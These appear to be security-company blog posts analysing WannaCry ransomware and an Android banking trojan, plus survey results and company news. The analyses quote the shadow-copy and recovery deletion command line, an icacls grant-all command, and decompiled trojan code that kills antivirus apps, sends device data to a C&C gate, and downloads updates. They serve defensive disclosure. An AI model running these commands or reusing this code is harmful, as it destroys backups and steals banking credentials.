WannaCry Ransomware Scanner and Vaccine Toolkit

Trustlook has released a scanner and vaccine toolkit to help system administrators protect Windows computers that are either vulnerable to or have been infected with the dangerous strain of ransomware known as WannaCry. The toolkit can be found on GitHub.

Banks, telephone companies and hospitals have all been ensnared in this worldwide hack, with the malware locking down computers while demanding a hefty sum for freedom. The attack has hit more than 230,000 computers in 150 countries including China, Russia, Spain, Italy and Vietnam, with hospitals in the UK attracting the most attention because real lives have been put at risk while their devices are locked down.  Ransom payments have been demanded in the cryptocurrency bitcoin in 28 languages.

Trustlook Labs has tracked the global wave of WannaCry attacks. The malware exploits the vulnerability identified CVE-2017-0145 (Windows SMB Remote Code Execution vulnerability) to spread itself. The malware uses the publicly available “Eternal Blue exploit” by the hacker group “The Shadow Brokers.” The vulnerability exists in unpatched versions of newer Windows operating system, as well as unsupported versions of Windows XP, 2003 and 8.

The following images are a tracker map and the number of unique IP addresses infected over the last 24 hours.



The WannaCry malware comes as a dropper with two components:

  1. A component utilizes the SMB Remote code vulnerability to spread the other files throughout the network and execute the ransomware component.
  2. After the ransomware component is executed, it extracts the following files from the resource section named “XIA”:
b.wnry: a Bmp file used to display the ransome message
t.wnry:  encrypted file with “WANACRY!” header, decrypted to a DLL module which is the main payload.
c.wnry: configuration file. Contains several Tor server address and link for Tor browser.
s.wnry: ZIP component file
r.wnry: ransomware Q&A
u.wnry: decryptor executable
taskdl.exe: executable used to delete file
taskse.exe: application to start a remote session
msg/m_.wnry: localized language files

If the malware starts with parameter “/i”, it copies itself into:

“C:\ProgramData\<random characters>\tasksche.exe” and creates service “<random characters>”, the service’s BinaryPathName “cmd.exe /c “C:\ProgramData\<random characters>\tasksche.exe”

The malware creates a mutex to make sure only one instance is running in the system. In this version of the malware (2.0) the mutex is:

“Global\\MsWinZonesCacheCounterMutexA0”. Another version of malware (1.) uses mutex “Global\\WINDOWS_TASKCST_MUTEX”.

The malware runs “icacls . /grant Everyone:F /T /C /Q” to grant access to all users on the system.

The malware then decrypts the payload DLL module into memory and calls the export function “TaskStart”. The malware generates a 2048 bit RSA key by calling the “CryptGenKey” function.

The malware then exports a public key and a private key. The public key is saved as “000000000.pky”. The private key is then encrypted by using another public key, which exists in the binary and is saved as “00000000.eky”. The related private key is held by the malware writer. The malware emulates the system and searches for the file with the following extensions:

.123, .jpeg , .rb , .602 , .jpg , .rtf , .doc , .js , .sch , .3dm , .jsp , .sh , .3ds , .key , .sldm , .3g2 , .lay , .sldm , .3gp , .lay6 , .sldx , .7z , .ldf , .slk , .accdb , .m3u , .sln , .aes , .m4u , .snt , .ai , .max , .sql , .ARC , .mdb , .sqlite3 , .asc , .mdf , .sqlitedb , .asf , .mid , .stc , .asm , .mkv , .std , .asp , .mml , .sti , .avi , .mov , .stw , .backup , .mp3 , .suo , .bak , .mp4 , .svg , .bat , .mpeg , .swf , .bmp , .mpg , .sxc , .brd , .msg , .sxd , .bz2 , .myd , .sxi , .c , .myi , .sxm , .cgm , .nef , .sxw , .class , .odb , .tar , .cmd , .odg , .tbk , .cpp , .odp , .tgz , .crt , .ods , .tif , .cs , .odt , .tiff , .csr , .onetoc2 , .txt , .csv , .ost , .uop , .db , .otg , .uot , .dbf , .otp , .vb , .dch , .ots , .vbs , .der” , .ott , .vcd , .dif , .p12 , .vdi , .dip , .PAQ , .vmdk , .djvu , .pas , .vmx , .docb , .pdf , .vob , .docm , .pem , .vsd , .docx , .pfx , .vsdx , .dot , .php , .wav , .dotm , .pl , .wb2 , .dotx , .png , .wk1 , .dwg , .pot , .wks , .edb , .potm , .wma , .eml , .potx , .wmv , .fla , .ppam , .xlc , .flv , .pps , .xlm , .frm , .ppsm , .xls , .gif , .ppsx , .xlsb , .gpg , .ppt , .xlsm , .gz , .pptm , .xlsx , .h , .pptx , .xlt , .hwp , .ps1 , .xltm , .ibd , .psd , .xltx , .iso , .pst , .xlw , .jar , .rar , .zip , .java , .raw.

Once the file is found, the malware call “CryptGenRandom” to create a random key, then uses the aforementioned generated public key to encrypt it. This key is used to encrypt the file, and the key itself is written into the file. A header string “WANACRY!” is written into the file as a flag to make sure the file is encrypted. The encrypted file is appended with a “.WNCRYT” file extension.

The malware runs the following commands to delete the system shadow copies:

cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog –quiet

The malware then displays the following ransom note:


The user can select a different language:


The malware runs a decryptor application to check if the user has paid the ransom. If so, the “.eky” file is sent to the server and decrypts the files by using the private key held by the writer. The decrypted key is then used to decrypt the file.

Trustlook WannaCry Scanner Tool

Trustlook has released a Wannacry Scanner to help system admin scan their network for vulnerable windows systems.


WannaCry Scanner Download Link

Here is an screen capture of the tool:


Trustlook Wannacry Ransomware Vaccine Tool

Trustlook’s WannaCry Ransomware Vaccine tool does not require a system reboot. Just run this tool or add it to your windows startup script to help you block the ransomware attack. 


Screenshot for WannaCry Ransomware Vaccine Tool (Vaccine for both version 1 and version 2)


Trustlook WannaCry Ransomware vaccine tool download link:

WannaCry Ransomware Samples

As of this writing, Trustlook has collected 49 different WannaCry samples. Each sample has been tested by Trustlook, and each has been detected and safely vaccinated.

Below are the SHA256 hashes related to this ransomware:


List of WannaCry ransomware files used in widespread attacks

Ransomware is the number one cybersecurity threat facing consumers and business worldwide. (Trustlook posted research last month on just how big of a problem for consumers ransomware is becoming.)

Today’s WannaCry outbreak is just more evidence of the severe threat posed by ransomware. Banks, telephone companies and hospitals have all been ensnared in the worldwide hack, with the malware locking down computers while demanding a hefty sum for freedom.

The attack has hit close to 100,000 computers across China, Russia, Spain, Italy and Vietnam, but the UK hospitals have attracted the most attention because real lives at risk while their devices are locked down.

The malware used in the attacks encrypts the files and also drops and executes a decryptor tool. The request for $600 in Bitcoin is displayed along with the wallet. It’s interesting that the initial request in this sample is for $600 USD, as the first five payments to that wallet is approximately $300 USD. It suggests that the group is increasing the ransom demands.


Trustlook has identified the following files used in the WannaCry ransomware attack. Analysis is ongoing, and we will update this blog with more information.



























38% of Consumers Affected by Ransomware Pay Up

New study reveals shocking statistics on ransomware

If you think ransomware is a problem that impacts only deep-pocketed big businesses like hospitals or banks, new research by cybersecurity firm Trustlook might make you think differently. In its latest research, Trustlook found that consumers are increasingly being targeted with ransomware—and, perhaps surprisingly, many of them are paying up.

Ransomware is malicious software that locks all files on a targeted computer or network until the owner pays the ransom. While it’s true that hackers may have more to gain from large organizations, experts say they see consumers, with their lack of sophistication in security, as lower-hanging fruit. Because consumers usually have fewer information security resources than large organizations, breaches are far easier to achieve and are more likely to have a meaningful impact, and thus are more likely to result in a payment.

Most users are completely unaware of the threat posed by ransomware attacks and are not prepared to handle them. Trustlook’s research shows that this lack of awareness and apathy is resulting in insufficient action taken to protect devices and data. 48% of consumers are not worried about becoming a victim of a ransomware attack, and only 7% of non-impacted consumers say they would pay the ransom if they were hacked. Other findings include:

  • 17% of consumers have been infected with ransomware
  • 38% of affected consumers paid the ransom
  • $100-$500 was the dollar range of ransomware payouts by consumers
  • 45% of consumers have not heard of ransomware
  • 23% of consumers do not backup the files on their computer or mobile device

Since the beginning of 2016, ransomware has gone from a relatively exclusive category of malware utility to a mainstream destructive tool used in wave after wave of phishing attacks against individuals and companies alike. Ransomware is now so widespread that it cost businesses a total of $1 billion in 2016, according to a new report. Moreover, ransomware has been identified by the U.S. Department of Justice as the “biggest cyberthreat” of 2017.

Ransomware is delivered primarily via a phishing email, which means consumers and employees, who are the last lines of defense in any security stack, must be trained to identify it in order to prevent it. This has made traditional security measures, such as antivirus tools, less effective.

In addition, the rise of crypto currencies such as Bitcoin have had a dramatic impact on the number and type of cybercrime opportunities. These tools have become the engine of cybercrime by making it safe and easy to transfer money anonymously.

Trustlook has the following advice for consumers who are worried that they might become a victim of ransomware. “Backup your data to multiple devices, and to at least one device that is not connected to a network,” says Allan Zhang, co-founder and CEO of Trustlook. “Also, be cautious of emails by checking the sender’s email address before clicking any link.”

To see an infographic of Trustlook’s ransomware research findings, please click here. For more information on SECUREai, Trustlook’s artificial intelligence security engine that detects ransomware, please visit http://www.trustlook.com.

Trojan Steals Account Information from European Banking Apps

A banking trojan discovered by Trustlook labs targets European banks and can steal users’ banking credentials. To make matters worse, the trojan is also capable of blocking most anti-virus apps.

The trojan disguises itself as an Adobe Flash Player app on Google Play. The malware hides string constants, keeps them encoded, and only decodes them before they are used.

The package can be identified as having the following characteristics:

  • MD5: b3a83ea6252bc7a4303774c1cd2c3b6f
  • SHA256: 784c835761e0223a46195fccbffae9fc0e19725ee989fe08e9d9fe119f7d4056
  • Size: 395595
  • App name: AdobeFlashPlayer
  • Package name: update.Adobe.Flash.Player

The package icon is:


The malware hides critical strings in order to prevent identification. It uses an exclusive or (XOR) operation to obfuscate the strings.

One of the encoding functions is shown below. The malware uses 7 similar functions to encode the string:

  public static String a(String paramString)
    int i = paramString.length();
    char[] arrayOfChar = new char[i];
    int j = i - 1;
    for (i = j; j >= 0; i = j)
      j = paramString.charAt(i);
      int k = i - 1;
      arrayOfChar[i] = ((char)(j ^ 0x52));
      if (k < 0) {
      j = k - 1;
      arrayOfChar[k] = ((char)(paramString.charAt(k) ^ 0x7D));
    return new String(arrayOfChar);

After encoding, the string becomes unreadable. Upon execution of the malware, the app attempts to terminate any anti-virus apps. The decoded strings are listed in the comments added by Trustlook :

    void a() {
        int v0;
        int v10 = 22;
        int v9 = -1;
        if(Build$VERSION.SDK_INT <= v10) {
            v0 = 0;
            int v3;
            for(v3 = 0; v0 > v9; v3 = v0) {
                String v5 = this.b();
                String[] v6 = new String[31];
                v6[0] = a.a("\u000E\u0001\u0000@\u0006\u000B\b\u001C\u000F\u0017C\u000F\t\u000F\u001A\u000F\u001F\u000B"); // com.keerby.adaware
                v6[1] = b.a("Y\u0004WE[\u0003T\u0007[\t\u0014\u001D\t\u0006U\tS\u0007_\u0018_\bO\u0019S\u001FC");//com.ahnlab.v3mobilesecurity
                v6[2] = a.a("\u000E\u0001\u0000@\f\u0018\f\u001D\u0019@\f\u0000\t\u001C\u0002\u0007\t@\u0000\u0001\u000F\u0007\u0001\u000B\u001E\u000B\u000E\u001B\u001F\u0007\u0019\u0017");//com.avast.android.mobilesecurity
                v6[3] = b.a("Y\u0004WE[\u0005N\u0002L\u0002H\u001EI");//com.antivirus
                v6[4] = a.a("\r\u0002\u0003C\u000F\u001B\u0007\u001F\u000FC\u000F\u0003\n\u001F\u0001\u0004\n");//com.avira.android
                v6[5] = b.a("Y\u0004WEX\u0002N\u000F_\r_\u0005^\u000EHE[\u0005N\u0002L\u0002H\u001EI");//com.bitdefender.antivirus
                v6[6] = a.a("\r\u0002\u0003C\f\u0018\u0002\u0001\t\u0018\u000F\u001F\nC\u0003\u0002\f\u0004\u0002\b@\u0000\u0001\u000F\u0007\u0001\u000B\u001E\u000B\u000E\u001B\u001F\u0007\u0019\u0017");//com.bullguard.mobile.mobilesecurity
                v6[7] = b.a("\bU\u0006\u0014\bU\u0006U\u000FUEY\u0002I\u0006_E[\u0005N\u0002L\u0002H\u001EI");//com.comodo.cisme.antivirus
    public String b() {
        String v0;
        if(Build$VERSION.SDK_INT <= 19) {
            List v1 = this.getSystemService(b.a("\nY\u001FS\u001DS\u001FC")).getRunningTasks(1);//activity
            v0 = v1.get(0).topActivity.getPackageName();
        else {
            v0 = this.getSystemService(a.a("\f\r\u0019\u0007\u001B\u0007\u0019\u0017")).getRunningAppProcesses().get(0).processName;

        return v0;

    protected void onHandleIntent(Intent arg1) {

The following is a list of the security apps whose processes are terminated by the malware:

  • keerby.adaware
  • ahnlab.v3mobilesecurity
  • avast.android.mobilesecurity
  • antivirus
  • avira.android
  • bitdefender.antivirus
  • bullguard.mobile.mobilesecurity
  • comodo.cisme.antivirus
  • drweb
  • emsisoft.security
  • eScan.main
  • eset.ems2.gp
  • fsecure.ms.dc
  • fortinet.forticlient
  • gdata.mobilesecurity
  • ikarus.mobile.security
  • k7computing.android.security
  • kms.free
  • malwarebytes.antimalware
  • wsandroid.suite
  • pandasecurity.pandaav
  • quickheal.platform
  • solo.security
  • sophos.smsec
  • antispycell.free
  • symantec.enterprise.mobile.security
  • totaldefense.security
  • trendmicro.tmmspersonal
  • trustport.mobilesecurity
  • ssd.vipre
  • zillya.security

The malware then looks for the banking apps’ processes. If found, the malware sends the information to the C&C server, and receives specific forms from the server to create a fake banking interface that entices users to enter their credentials.

public String a()
    Log.d(i.a("8,'+\"+3.4O=-6"), k.a("%\0357\n5\020V\0327\026=x5\024?\0358\fQ\013")); //INVISIBLE-LOG  SEARCH BANK CLIENT'S
    Object localObject1 = getPackageManager().getInstalledApplications(128).iterator();
    int i11 = 0;
    int i10 = 0;
    int i20 = 0;
    int i19 = 0;
    int i18 = 0;
    int i17 = 0;
    int i9 = 0;
    int i7 = 0;
    int i5 = 0;
    int i3 = 0;
    int i1 = 0;
    int m = 0;
    int i = 0;
    while (((Iterator)localObject1).hasNext())
      localObject2 = (ApplicationInfo)((Iterator)localObject1).next();
      int j = i11;
      if (((ApplicationInfo)localObject2).packageName.equals(i.a("\022\r\034L\020\t\023\003\037\t_\003\037\006\003\r\030\006_\003\001\022\002L\020\t\023\003\037\t.\006\030\020\024\t\005"))) {
        j = 1; //com.akbank.android.apps.akbank_direkt
      if (((ApplicationInfo)localObject2).packageName.equals(k.a(";\0315X>\0376\0276\005:\0276\035v\0337\0241\032=X;\023(\005-\024="))) {
        j = 2; //com.finansbank.mobile.cepsube
      int k = i10;
      if (((ApplicationInfo)localObject2).packageName.equals(i.a(""))) {
        k = 1;
      if (((ApplicationInfo)localObject2).packageName.equals(k.a(";\0315X,\0337\024,\023;\036v\0369\0323\0249\0303"))) {
        k = 2; //com.tmobtech.halkbank

        PowerManager$WakeLock v0_2 = v0_1.getSystemService(k.a("(\u0019/\u0013*")).newWakeLock(1, i.a("\"\u0007\u0003\u0014\u0018\u0001\u0014"));
		//power Service
        if(v0_2 != null) {

        e v10 = new e();
        k v11 = new k();
        Object v0_3 = this.getSystemService(k.a("(\u001E7\u0018="));//phone
        String v1 = "";
        if(Build$VERSION.SDK_INT < 23) {
            v3 = ((TelephonyManager)v0_3).getDeviceId();
            v2 = new StringBuilder().insert(0, i.a("Y")).append(((TelephonyManager)v0_3).getNetworkOperatorName()).append(k.a("q")).append(((TelephonyManager)v0_3).getLine1Number()).toString();
            v7 = v3;
        else {
            v1 = Settings$Secure.getString(this.getContentResolver(), i.a("\u0003\u001F\u0006\u0003\r\u0018\u0006.\u000B\u0015"));//android_id
            if(v1 == "") {
                v1 = new StringBuilder().insert(0, k.a("Em")).append(Build.BOARD.length() % 10).append(Build.BRAND.length() % 10).append(Build.CPU_ABI.length() % 10).append(Build.DEVICE.length() % 10).append(Build.DISPLAY.length() % 10).append(Build.HOST.length() % 10).append(Build.ID.length() % 10).append(Build.MANUFACTURER.length() % 10).append(Build.MODEL.length() % 10).append(Build.PRODUCT.length() % 10).append(Build.TAGS.length() % 10).append(Build.TYPE.length() % 10).append(Build.USER.length() % 10).toString();

            v3 = i.a("J?-X");//(NO)
            v7 = v1;
            v1 = k.a("\u0011\u0018\u001F6\u0013<");//Indefined
            v2 = v3;

        String v4 = Build$VERSION.RELEASE;
        String v5 = new StringBuilder().insert(0, Build.MODEL).append(i.a("BY")).append(Build.PRODUCT).append(k.a("q")).toString();
        String v6 = ((TelephonyManager)v0_3).getNetworkCountryIso();
        String v8 = "";
        if(!this.getSystemService(k.a("<\u0013.\u001F;\u0013\u0007\u00067\u001A1\u0015!")).isAdminActive(null)) { //device_policy
            v3 = i.a("A");
            v0_1 = this;
        else {
            v3 = k.a("i");
            v0_1 = this;

        boolean v0_4 = v0_1.getSystemService(i.a("\t\u0014\u001B\u0016\u0017\u0010\u0010\u0015")).inKeyguardRestrictedInputMode(); //keyguard
        if(v0_4) {
            v0_5 = i.a("A");
            Log.e(k.a("jDj"), i.a("\u001E\u0004\u0017")); //222 off
        else {
            v0_5 = k.a("i");
            Log.e(i.a("CPC"), k.a("\u00196"));

        Log.e(i.a("\u0012\u001E\u0011\u0005"), new StringBuilder().insert(0, k.a("\u0002-\u001D\u0007\u0006e")).append(v11.b(new StringBuilder().insert(0, v7).append(i.a("K")).append(v3).append(k.a("b")).append(v0_5).toString())).toString());
		//post tuk_p=
        v0_5 = v11.c(v10.a(this.a.d + i.a("M\u0010\u0006\u001C\u000B\u001F\u000E\u001E\u0006^\u0005\u0010\u0016\u0014L\u0001\n\u0001"), new StringBuilder().insert(0, k.a("\u0006e")).append(v11.b(new StringBuilder().insert(0, v7).append(i.a("K")).append(v3).append(k.a("b")).append(v0_5).toString())).toString())); ///adminlod/gate.php
        Log.e("", new StringBuilder().insert(0, i.a("QOQ\\Q")).append(v0_5).toString());
        if(v0_5.contains(k.a("\n\u00169$"))) {
            v0_5 = this.a();
            System.out.println(new StringBuilder().insert(0, i.a("\u0002\u0007\u0005=\u0015\u0003\u0005\u0003.\u0012L")).append(v11.b(new StringBuilder().insert(0, " ").append(v7).append(k.a("b")).append(v2).append(v1).append(i.a("K")).append(v4).append(k.a("b")).append(v6).append(i.a("K")).append(v0_5).append(k.a("b")).append(v5).toString())).toString()); // set_data_p=
            v3 = this.a.d + i.a("^\u0003\u0015\u000F\u0018\f\u001D\r\u0015M\u0003\u0007\u0016L\u0001\n\u0001"); ///adminlod/reg.php
            StringBuilder v9 = new StringBuilder().insert(0, k.a("\u0006e"));
            StringBuilder v0_6 = new StringBuilder().insert(0, v7).append(i.a("K")).append(v2).append(v1).append(k.a("b")).append(v4).append(i.a("K")).append(v6).append(k.a("b")).append(v0_5).append(i.a("K")).append(v5).append(k.a("b"));
            v0_5 = v11.c(v10.a(v3, v9.append(v11.b(v0_6.append("DDD").append(i.a("K")).append(v8).toString())).toString()));

The affected bank apps are:

  • akbank.android.apps.akbank_direkt
  • finansbank.mobile.cepsube
  • garanti.cepsubesi
  • tmobtech.halkbank
  • pozitron.iscep
  • vakifbank.mobile
  • ykb.android
  • ziraat.ziraatmobil
  • whatsapp
  • facebook.orca
  • facebook.katana
  • instagram.android
  • supercell.clashroyale
  • supercell.clashofclans
  • google.android.play.games
  • snapchat.android
  • twitter.android
  • google.android.apps.translate
  • ebay.gumtree.au
  • anz.android
  • bankaustria.android.olb
  • bawag.mbanking
  • easybank.mbanking
  • isis_papyrus.raiffeisen_pay_eyewdg
  • spardat.netbanking
  • volksbank.volksbankmobile
  • commbank.netbank
  • westpac.bank
  • stgeorge.bank
  • com.nab.mobile
  • com.ingdirect.android
  • com.bankwest.mobile
  • banksa.bank
  • paypal.android.p2pmobile
  • grppl.android.shell.CMBlloydsTSB73
  • grppl.android.shell.halifax
  • co.tsb.mobilebank
  • creditagricole.androidapp
  • comarch.mobile
  • bzwbk.bzwbk24
  • bzwbk.bzwbk24
  • eurobank
  • getingroup.mobilebanking
  • ing.ingmobile
  • ing.ingmobile
  • pkobp.iko
  • mbank
  • android.bcpBankingApp.millenniumPL
  • eleader.mobilebanking.pekao
  • eleader.mobilebanking.raiffeisen
  • db.mm.deutschebank
  • commerzbanking.mobil
  • starfinanz.smob.android.sfinanzstatus
  • ing.diba.mbbr2
  • fiducia.smartphone.android.banking.vr
  • santander.de
  • starfinanz.smob.android.sbanking
  • postbank.finanzassistent
  • dkb.portalapp
  • consorsbank
  • comdirect.android
  • creditagricole.android
  • axa.monaxa
  • banquepopulaire.cyberplus
  • bnpparibas.mescomptes
  • boursorama.android.clients
  • caisseepargne.android.mobilebanking
  • cic_prod.bad
  • cm_prod.bad
  • groupama.toujoursla
  • IngDirectAndroid
  • fullsix.android.labanquepostale.accountaccess
  • lcl.android.customerarea
  • macif.mobile.application.android
  • ocito.cdn.activity.creditdunord
  • societegenerale.mobile.lappli

The malware is capable of stealing a user’s contacts , sending an SMS message, opening a web page, updating itself and more. The following code snippets demonstrate how the malware downloads an APK and updates itself:

            if(v9_1[v8_1].contains(i.a("7\u0001\u0006\u0010\u0016\u0014\u0011. \u001E\u0016\u0002"))) {//Updates_Bots
                v2 = v11.a(v9_1[v8_1], k.a("\n6\u00035\u0014=\u0004e"), i.a("\u001E\u0005\u0007\t\u0016L"));//|number= |text=
                v0_9 = v9_1[v8_1].split(k.a(",\u0013 \u0002e")); //text=
                System.out.println(new StringBuilder().insert(0, v2).append(v0_9[1]).toString());
                Log.d("", "");
                v3 = UUID.randomUUID().toString();
                v4 = i.a("L\u0010\u0012\u001A");//.apk
                try {
                    URLConnection v0_12 = new URL(v0_9[1]).openConnection();
                    ((HttpURLConnection)v0_12).setRequestMethod(k.a("\u001F3\f")); //GET
                    v1 = Environment.getExternalStorageDirectory() + i.a("M\u0015\r\u0006\f\u001D\r\u0010\u0006^"); ///download/
                    Log.v("", new StringBuilder().insert(0, k.a("&\u0019\"\u0010Lx")).append(v1).toString()); //PATH: 
                    File v5_1 = new File(v1);
                    v5_2 = new FileOutputStream(new File(v5_1, new StringBuilder().insert(0, v3).append(v4).toString()));
                    v1_1 = ((HttpURLConnection)v0_12).getInputStream();
                    v6_2 = new byte[4096];
                    v0_13 = v1_1;
                    goto label_524;

Banking malware that steals users’ log in credentials is becoming an increasing problem. Most of this category of malware, as is highlighted in this post, attempts to stay hidden to prevent analysis and detection. It also uses an obfuscation technique to make textual data unreadable. Using these techniques of hiding strings and masking data is useful for malware writers because it requires much more time for analysis to be done and the malware to be identified.

Thankfully, in this case, Trustlook was able to gather deep insights and knowledge of the malware behavior. Trustlook’s SECUREai anti-threat platform can effectively protect users against this invasion.

Trustlook Responds to Government Repeal of Broadband Privacy Rules

Last month’s proposal by the Trump administration to reverse the privacy regulations put in place by the Obama administration in October 2016 could lead to an increase in phishing attacks, according to cybersecurity company Trustlook.

The FCC rules would have given consumers greater control over what their internet service provider can do with their data by requiring those companies to get permission from customers before using their information to create targeted advertisements.

Under the regulation rollback, there are few limits on the ways ISPs will be allowed to interact with sensitive user data. That includes not just allowing providers to create marketing profiles based on the browsing history of their users, but also letting them deploy undetectable tools that track web traffic, too.

Trustlook CEO Allan Zhang shared this quote with ThreatPost:

“Our bigger concern is once this data is freely sold and traded, it is possible for bad actors to acquire this data and perpetrate personalized phishing attacks,” said Allan Zhang, co-founder and CEO of cybersecurity company Trustlook. He added, because apps such as AppFlash collect personal data legally and malware detectors don’t identify them, consumers will likely be oblivious to how their personal information is being collected and used.

You can read the entire article here.


Trustlook Demonstrates Enhanced Device Security with Advanced Artificial Intelligence

Trustlook is demonstrating the integration of Trustlook’s SECUREai engine with the Qualcomm HavenTM Security Platform on the Qualcomm® Snapdragon™ 835 mobile platform during Mobile World Congress 2017. Using power-efficient machine learning-based behavioral analysis, the solution is designed to support enhanced device security through real-time detection and classification of zero-day malware and privacy violations.

The Qualcomm Haven Security Platform, announced at CES 2017, supports advanced hardware-based security features such as fingerprint and iris authentication, device attestation, and real-time device behavior monitoring. Trustlook’s SECUREai is a suite of embeddable security engines that identify advanced malware, detect device behavior anomalies, and classify threats using proprietary AI technology. SECUREai supports multiple platforms including Android, security gateways, IoT devices, and currently powers products of leading mobile device makers such as Huawei and Tecno Mobile, and numerous Android security apps.

“Artificial intelligence is a game changer for mobile security,” said Allan Zhang, CEO and co-founder of Trustlook. “It is nearly impossible for human researchers today to keep up with the rapid changing threat landscape. Machine learning is the great equalizer to help the good guys stay ahead and take control. We are very excited to work with Qualcomm Technologies on this effort.”

“Working together, Trustlook and Qualcomm Technologies are demonstrating how a leading anti-virus engine can combine with platform-level machine learning,” said Sy Choudhury, senior director of product management, Qualcomm Technologies, Inc. “By utilizing the behavioral capabilities of the Qualcomm Haven Security Platform, Trustlook’s SECUREai engine delivers real-time and offline detection of zero-day threats. These can be reported back to home base, and be used to protect millions of other devices which are possibly under threat.”

The Trustlook solution on Qualcomm Haven Security Platform is available to handset OEMs on the Snapdragon 835 mobile platform, and is expected to be supported by additional Snapdragon SoCs later this year.